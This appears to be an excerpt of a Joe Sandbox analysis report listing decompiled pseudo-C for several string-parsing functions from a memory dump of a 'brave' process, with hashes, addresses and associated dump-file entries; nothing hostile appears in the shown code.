Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: a086c596611ef4ea8cac5059dbacc38b62ed55accf5125814614d9dfe2806d9e
Instruction ID: 449f9468691c546ee83e124f535f02379dc30e41427f0aae755e5c4a238da8e5
Opcode Fuzzy Hash: a086c596611ef4ea8cac5059dbacc38b62ed55accf5125814614d9dfe2806d9e
Instruction Fuzzy Hash: 2431F232609B09C2E7708F08F89539A77B0FB94799F264A66D2CC473A5CFBDD1849784

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8062C7 Relevance: 1.3, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00007FF67FF69F8062C7(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t100;
				signed int _t111;
				signed int _t117;
				signed int _t119;
				signed int _t122;
				signed int _t124;
				signed int _t126;
				signed int _t129;
				signed int _t132;
				void* _t160;
				intOrPtr* _t165;
				intOrPtr* _t168;
				char* _t169;
				signed char* _t170;
				intOrPtr* _t173;
				intOrPtr* _t176;
				signed char* _t179;
				intOrPtr* _t182;
				signed char* _t183;
				signed char* _t185;
				signed char* _t186;
				intOrPtr* _t218;
				signed char* _t219;
				signed char* _t220;
				long long _t229;
				void* _t236;

				_t117 =  *(__rbx + 0x28);
				if (_t117 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326a9;
				_t165 = (_t117 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t165 + 4)) = 0;
				 *(__rbx + 0x28) = _t117 + 1;
				 *_t165 = 0x27;
				 *((long long*)(_t165 + 0x10)) = 0x9fab53c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t119 =  *(__rbx + 0x28);
				if (_t119 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832702;
				_t168 = (_t119 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t168 + 4)) = 0;
				 *(__rbx + 0x28) = _t119 + 1;
				 *_t168 = 0x27;
				 *((long long*)(_t168 + 0x10)) = 0x9fab5360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x9f805c22;
				 *_t168 =  *_t168 + __eax;
				_t100 =  *(__rbx + 0x28);
				if (_t100 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f805c20;
				_t218 = (_t100 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t218 + 4)) = 0;
				 *(__rbx + 0x28) = _t100 + 1;
				 *_t218 = 0x42;
				 *((intOrPtr*)(_t218 + 0x10)) = E00007FF67FF69F804E90(_t168, __rbx, __rdx, __r8, _t236);
				_t169 =  *(__rbx + 0x18);
				if ( *_t169 != 0x5f) goto 0x9f805c20;
				_t170 = _t169 + 1;
				 *(__rbx + 0x18) = _t170;
				E00007FF67FF69F805BC0();
				E00007FF67FF69F804DD0();
				_a40 = _t170;
				_t122 =  *(__rbx + 0x28);
				if (_t122 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832670;
				_t173 = (_t122 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t173 + 4)) = 0;
				 *(__rbx + 0x28) = _t122 + 1;
				 *_t173 = 0x27;
				 *((long long*)(_t173 + 0x10)) = 0x9fab5340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t124 =  *(__rbx + 0x28);
				if (_t124 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832715;
				_t176 = (_t124 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t176 + 4)) = 0;
				 *(__rbx + 0x28) = _t124 + 1;
				 *_t176 = 0x27;
				 *((long long*)(_t176 + 0x10)) = 0x9fab5400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t126 =  *(__rbx + 0x28);
				if (_t126 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326ef;
				_t179 = (_t126 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t179 + 4)) = 0;
				 *(__rbx + 0x28) = _t126 + 1;
				 *_t179 = 0x27;
				 *((long long*)(_t179 + 0x10)) = 0x9fab53a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF69F805BC0();
				r9d = 0;
				E00007FF67FF69F804DD0();
				_a40 = _t179;
				_t129 =  *(__rbx + 0x28);
				if (_t129 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t182 = (_t129 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t182 + 4)) = 0;
				 *(__rbx + 0x28) = _t129 + 1;
				 *_t182 = 0x27;
				 *((long long*)(_t182 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t182, __rbx);
				_a40 = _t182;
				if (_t182 == 0) goto 0x9f805c20;
				if ( *_t182 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t183 = _t182 + 1;
				 *(__rbx + 0x18) = _t183;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t183;
				_t219 = _t183;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t219[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t219;
				_t185 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t229 = _a40;
				if (_t229 == 0) goto 0x9f805c20;
				_t132 =  *(__rbx + 0x38);
				if (_t132 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t132 * 8)) = _t229;
				 *(__rbx + 0x38) = _t132 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t185;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t229 + 3;
				E00007FF67FF69F807F20(_t185, __rbx);
				_t220 = _t185;
				if (_t185 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t220);
				_push(__rbx);
				_t186 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t186[1]);
				r10d =  *_t186 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t111 = (r8d >> 0x1f) + r8d >> 1;
				_t160 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t111 + _t111 * 2) * 8)))) - r10b;
				if (_t160 == 0) goto 0x9f806680;
				if (_t160 <= 0) goto 0x9f8066c0;
				r8d = _t111;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f8062c7
0x7ff69f8062cd
0x7ff69f8062e4
0x7ff69f8062e8
0x7ff69f8062f0
0x7ff69f8062f3
0x7ff69f8062f9
0x7ff69f8062fd
0x7ff69f806306
0x7ff69f80630c
0x7ff69f806323
0x7ff69f806327
0x7ff69f80632f
0x7ff69f806332
0x7ff69f806338
0x7ff69f80633c
0x7ff69f806340
0x7ff69f80634e
0x7ff69f806350
0x7ff69f806356
0x7ff69f806369
0x7ff69f80636d
0x7ff69f806375
0x7ff69f806378
0x7ff69f806383
0x7ff69f806386
0x7ff69f80638d
0x7ff69f806393
0x7ff69f80639a
0x7ff69f80639e
0x7ff69f8063b1
0x7ff69f8063b6
0x7ff69f8063c0
0x7ff69f8063c6
0x7ff69f8063dd
0x7ff69f8063e1
0x7ff69f8063e9
0x7ff69f8063ec
0x7ff69f8063f2
0x7ff69f8063f6
0x7ff69f8063ff
0x7ff69f806405
0x7ff69f80641c
0x7ff69f806420
0x7ff69f806428
0x7ff69f80642b
0x7ff69f806431
0x7ff69f806435
0x7ff69f80643e
0x7ff69f806444
0x7ff69f80645b
0x7ff69f80645f
0x7ff69f806467
0x7ff69f80646a
0x7ff69f806470
0x7ff69f806474
0x7ff69f806480
0x7ff69f806485
0x7ff69f806493
0x7ff69f806498
0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0fe0bb664fee0acb066360bbf1dd7b13264afc6f109f4210fc352504dfbd1cf1
Instruction ID: 40ff1adb4978901bddb3629654180ccfbe2f7292a05033c295190879a9e95932
Opcode Fuzzy Hash: 0fe0bb664fee0acb066360bbf1dd7b13264afc6f109f4210fc352504dfbd1cf1
Instruction Fuzzy Hash: 41210472609B05C2E7718F08F88539977B0FB84789F264666D2CC473A4CFBDD1849780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F806249 Relevance: 1.3, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF67FF69F806249(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t116;
				signed int _t127;
				signed int _t133;
				signed int _t135;
				signed int _t137;
				signed int _t139;
				signed int _t142;
				signed int _t144;
				signed int _t146;
				signed int _t149;
				signed int _t152;
				void* _t182;
				intOrPtr* _t187;
				intOrPtr* _t190;
				intOrPtr* _t193;
				intOrPtr* _t196;
				char* _t197;
				signed char* _t198;
				intOrPtr* _t201;
				intOrPtr* _t204;
				signed char* _t207;
				intOrPtr* _t210;
				signed char* _t211;
				signed char* _t213;
				signed char* _t214;
				intOrPtr* _t248;
				signed char* _t249;
				signed char* _t250;
				long long _t259;
				void* _t266;

				_t133 =  *(__rbx + 0x28);
				if (_t133 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326c9;
				_t187 = (_t133 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t187 + 4)) = 0;
				 *(__rbx + 0x28) = _t133 + 1;
				 *_t187 = 0x27;
				 *((long long*)(_t187 + 0x10)) = 0x9fab5380;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 4;
				_t135 =  *(__rbx + 0x28);
				if (_t135 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326dc;
				_t190 = (_t135 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t190 + 4)) = 0;
				 *(__rbx + 0x28) = _t135 + 1;
				 *_t190 = 0x27;
				 *((long long*)(_t190 + 0x10)) = 0x9fab5320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t137 =  *(__rbx + 0x28);
				if (_t137 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326a9;
				_t193 = (_t137 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t193 + 4)) = 0;
				 *(__rbx + 0x28) = _t137 + 1;
				 *_t193 = 0x27;
				 *((long long*)(_t193 + 0x10)) = 0x9fab53c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t139 =  *(__rbx + 0x28);
				if (_t139 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832702;
				_t196 = (_t139 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t196 + 4)) = 0;
				 *(__rbx + 0x28) = _t139 + 1;
				 *_t196 = 0x27;
				 *((long long*)(_t196 + 0x10)) = 0x9fab5360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x9f805c22;
				 *_t196 =  *_t196 + __eax;
				_t116 =  *(__rbx + 0x28);
				if (_t116 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f805c20;
				_t248 = (_t116 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t248 + 4)) = 0;
				 *(__rbx + 0x28) = _t116 + 1;
				 *_t248 = 0x42;
				 *((intOrPtr*)(_t248 + 0x10)) = E00007FF67FF69F804E90(_t196, __rbx, __rdx, __r8, _t266);
				_t197 =  *(__rbx + 0x18);
				if ( *_t197 != 0x5f) goto 0x9f805c20;
				_t198 = _t197 + 1;
				 *(__rbx + 0x18) = _t198;
				E00007FF67FF69F805BC0();
				E00007FF67FF69F804DD0();
				_a40 = _t198;
				_t142 =  *(__rbx + 0x28);
				if (_t142 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832670;
				_t201 = (_t142 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t201 + 4)) = 0;
				 *(__rbx + 0x28) = _t142 + 1;
				 *_t201 = 0x27;
				 *((long long*)(_t201 + 0x10)) = 0x9fab5340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t144 =  *(__rbx + 0x28);
				if (_t144 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832715;
				_t204 = (_t144 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t204 + 4)) = 0;
				 *(__rbx + 0x28) = _t144 + 1;
				 *_t204 = 0x27;
				 *((long long*)(_t204 + 0x10)) = 0x9fab5400;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0x11;
				_t146 =  *(__rbx + 0x28);
				if (_t146 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326ef;
				_t207 = (_t146 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t207 + 4)) = 0;
				 *(__rbx + 0x28) = _t146 + 1;
				 *_t207 = 0x27;
				 *((long long*)(_t207 + 0x10)) = 0x9fab53a0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 7;
				E00007FF67FF69F805BC0();
				r9d = 0;
				E00007FF67FF69F804DD0();
				_a40 = _t207;
				_t149 =  *(__rbx + 0x28);
				if (_t149 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832683;
				_t210 = (_t149 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t210 + 4)) = 0;
				 *(__rbx + 0x28) = _t149 + 1;
				 *_t210 = 0x27;
				 *((long long*)(_t210 + 0x10)) = 0x9fab53e0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				goto 0x9f805c22;
				E00007FF67FF69F806EE0(_t210, __rbx);
				_a40 = _t210;
				if (_t210 == 0) goto 0x9f805c20;
				if ( *_t210 != 0x18) goto 0x9f805d39;
				goto 0x9f805c22;
				goto 0x9f806051;
				_t211 = _t210 + 1;
				 *(__rbx + 0x18) = _t211;
				E00007FF67FF69F8089F0(__rbx);
				E00007FF67FF69F804DD0();
				_a40 = _t211;
				_t249 = _t211;
				goto 0x9f805f58;
				r12d =  *(__rbx + 0x28);
				 *(__rbx + 0x18) =  &(_t249[1]);
				E00007FF67FF69F8089F0(__rbx);
				if ( *( *(__rbx + 0x18)) == 0x49) goto 0x9f806584;
				 *(__rbx + 0x18) = _t249;
				_t213 = _a40;
				 *(__rbx + 0x28) = r12d;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48));
				goto 0x9f805d30;
				_t259 = _a40;
				if (_t259 == 0) goto 0x9f805c20;
				_t152 =  *(__rbx + 0x38);
				if (_t152 -  *((intOrPtr*)(__rbx + 0x3c)) >= 0) goto 0x9f805c20;
				 *((long long*)( *((intOrPtr*)(__rbx + 0x30)) + _t152 * 8)) = _t259;
				 *(__rbx + 0x38) = _t152 + 1;
				E00007FF67FF69F804DD0();
				_a40 = _t213;
				 *((intOrPtr*)(__rbx + 0x4c)) = 1;
				 *(__rbx + 0x18) = _t259 + 3;
				E00007FF67FF69F807F20(_t213, __rbx);
				_t250 = _t213;
				if (_t213 != 0) goto 0x9f806386;
				goto 0x9f805c20;
				asm("o16 nop [eax+eax]");
				_push(0x9fab53e0);
				_push(_t250);
				_push(__rbx);
				_t214 =  *(__rbx + 0x18);
				if (sil == 0) goto 0x9f8066c8;
				 *(__rbx + 0x18) =  &(_t214[1]);
				r10d =  *_t214 & 0x000000ff;
				if (sil != 0) goto 0x9f8066d0;
				r8d = 0x45;
				asm("o16 nop [eax+eax]");
				_t127 = (r8d >> 0x1f) + r8d >> 1;
				_t182 =  *((intOrPtr*)( *((intOrPtr*)(0x9fab4820 + (_t127 + _t127 * 2) * 8)))) - r10b;
				if (_t182 == 0) goto 0x9f806680;
				if (_t182 <= 0) goto 0x9f8066c0;
				r8d = _t127;
				if (0 != r8d) goto 0x9f806648;
				return 0;
			}

0x7ff69f806249
0x7ff69f80624f
0x7ff69f806266
0x7ff69f80626a
0x7ff69f806272
0x7ff69f806275
0x7ff69f80627b
0x7ff69f80627f
0x7ff69f806288
0x7ff69f80628e
0x7ff69f8062a5
0x7ff69f8062a9
0x7ff69f8062b1
0x7ff69f8062b4
0x7ff69f8062ba
0x7ff69f8062be
0x7ff69f8062c7
0x7ff69f8062cd
0x7ff69f8062e4
0x7ff69f8062e8
0x7ff69f8062f0
0x7ff69f8062f3
0x7ff69f8062f9
0x7ff69f8062fd
0x7ff69f806306
0x7ff69f80630c
0x7ff69f806323
0x7ff69f806327
0x7ff69f80632f
0x7ff69f806332
0x7ff69f806338
0x7ff69f80633c
0x7ff69f806340
0x7ff69f80634e
0x7ff69f806350
0x7ff69f806356
0x7ff69f806369
0x7ff69f80636d
0x7ff69f806375
0x7ff69f806378
0x7ff69f806383
0x7ff69f806386
0x7ff69f80638d
0x7ff69f806393
0x7ff69f80639a
0x7ff69f80639e
0x7ff69f8063b1
0x7ff69f8063b6
0x7ff69f8063c0
0x7ff69f8063c6
0x7ff69f8063dd
0x7ff69f8063e1
0x7ff69f8063e9
0x7ff69f8063ec
0x7ff69f8063f2
0x7ff69f8063f6
0x7ff69f8063ff
0x7ff69f806405
0x7ff69f80641c
0x7ff69f806420
0x7ff69f806428
0x7ff69f80642b
0x7ff69f806431
0x7ff69f806435
0x7ff69f80643e
0x7ff69f806444
0x7ff69f80645b
0x7ff69f80645f
0x7ff69f806467
0x7ff69f80646a
0x7ff69f806470
0x7ff69f806474
0x7ff69f806480
0x7ff69f806485
0x7ff69f806493
0x7ff69f806498
0x7ff69f8064a2
0x7ff69f8064a8
0x7ff69f8064bf
0x7ff69f8064c3
0x7ff69f8064cb
0x7ff69f8064ce
0x7ff69f8064d4
0x7ff69f8064d8
0x7ff69f8064dc
0x7ff69f8064eb
0x7ff69f8064f0
0x7ff69f8064f8
0x7ff69f806501
0x7ff69f806507
0x7ff69f806512
0x7ff69f806517
0x7ff69f80651e
0x7ff69f806522
0x7ff69f806537
0x7ff69f80653c
0x7ff69f806541
0x7ff69f806544
0x7ff69f806550
0x7ff69f806557
0x7ff69f80655e
0x7ff69f80656a
0x7ff69f80656c
0x7ff69f806570
0x7ff69f806575
0x7ff69f80657c
0x7ff69f80657f
0x7ff69f806584
0x7ff69f80658c
0x7ff69f806592
0x7ff69f806598
0x7ff69f8065a8
0x7ff69f8065b2
0x7ff69f8065ba
0x7ff69f8065bf
0x7ff69f8065d0
0x7ff69f8065da
0x7ff69f8065de
0x7ff69f8065e6
0x7ff69f8065ec
0x7ff69f8065f2
0x7ff69f8065f7
0x7ff69f806600
0x7ff69f806601
0x7ff69f806602
0x7ff69f806607
0x7ff69f806614
0x7ff69f80661e
0x7ff69f806626
0x7ff69f80662d
0x7ff69f806633
0x7ff69f806642
0x7ff69f806656
0x7ff69f806666
0x7ff69f806669
0x7ff69f80666b
0x7ff69f80666d
0x7ff69f806673
0x7ff69f80667e

APIs

malloc.MSVCRT ref: 00007FF69F832752

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: eff3cf0a3ead3182ce9a2d061d4ff4c747767f33054f4b93d232421270182bae
Instruction ID: 2eb8b38c7c468d9e94d4480e60ac2e362b40151881837dab6a67152026a45af5
Opcode Fuzzy Hash: eff3cf0a3ead3182ce9a2d061d4ff4c747767f33054f4b93d232421270182bae
Instruction Fuzzy Hash: 49212972609B05C2E7718F04F9813A977B0FB84789F264A66D28C473A4CFBDE585D780

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F806288 Relevance: 1.3, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E00007FF67FF69F806288(void* __eax, void* __ebx, void* __rbx, void* __rcx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t108;
				signed int _t119;
				signed int _t125;
				signed int _t127;
				signed int _t129;
				signed int _t132;
				signed int _t134;
				signed int _t136;
				signed int _t139;
				signed int _t142;
				void* _t171;
				intOrPtr* _t176;
				intOrPtr* _t179;
				intOrPtr* _t182;
				char* _t183;
				signed char* _t184;
				intOrPtr* _t187;
				intOrPtr* _t190;
				signed char* _t193;
				intOrPtr* _t196;
				signed char* _t197;
				signed char* _t199;
				signed char* _t200;
				intOrPtr* _t233;
				signed char* _t234;
				signed char* _t235;
				long long _t244;
				void* _t251;

				_t125 =  *(__rbx + 0x28);
				if (_t125 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326dc;
				_t176 = (_t125 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t176 + 4)) = 0;
				 *(__rbx + 0x28) = _t125 + 1;
				 *_t176 = 0x27;
				 *((long long*)(_t176 + 0x10)) = 0x9fab5320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t127 =  *(__rbx + 0x28);
				if (_t127 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326a9;
				_t179 = (_t127 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t179 + 4)) = 0;
				 *(__rbx + 0x28) = _t127 + 1;
				 *_t179 = 0x27;
				 *((long long*)(_t179 + 0x10)) = 0x9fab53c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t129 =  *(__rbx + 0x28);
				if (_t129 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832702;
				_t182 = (_t129 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t182 + 4)) = 0;
				 *(__rbx + 0x28) = _t129 + 1;
				 *_t182 = 0x27;
				 *((long long*)(_t182 + 0x10)) = 0x9fab5360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x9f805c22;
				 *_t182 =  *_t182 + __eax;
				_t108 =  *(__rbx + 0x28);
				if (_t108 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f805c20;
				_t233 = (_t108 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t233 + 4)) = 0;
				 *(__rbx + 0x28) = _t108 + 1;
				 *_t233 = 0x42;
				 *((intOrPtr*)(_t233 + 0x10)) = E00007FF67FF69F804E90(_t182, __rbx, __rdx, __r8, _t251);
				_t183 =  *(__rbx + 0x18);
				if ( *_t183 != 0x5f) goto 0x9f805c20;
				_t184 = _t183 + 1;
				 *(__rbx + 0x18) = _t184;
				E00007FF67FF69F805BC0();
				E00007FF67FF69F804DD0();
				_a40 = _t184;
				_t132 =  *(__rbx + 0x28);
				if (_t132 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832670;
				_t187 = (_t132 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t187 + 4)) = 0;
				 *(__rbx + 0x28) = _t132 + 1;
				 *_t187 = 0x27;
				 *((long long*)(_t187 + 0x10)) = 0x9fab5340;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t134 =  *(__rbx + 0x28);
				if (_t134 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832715;
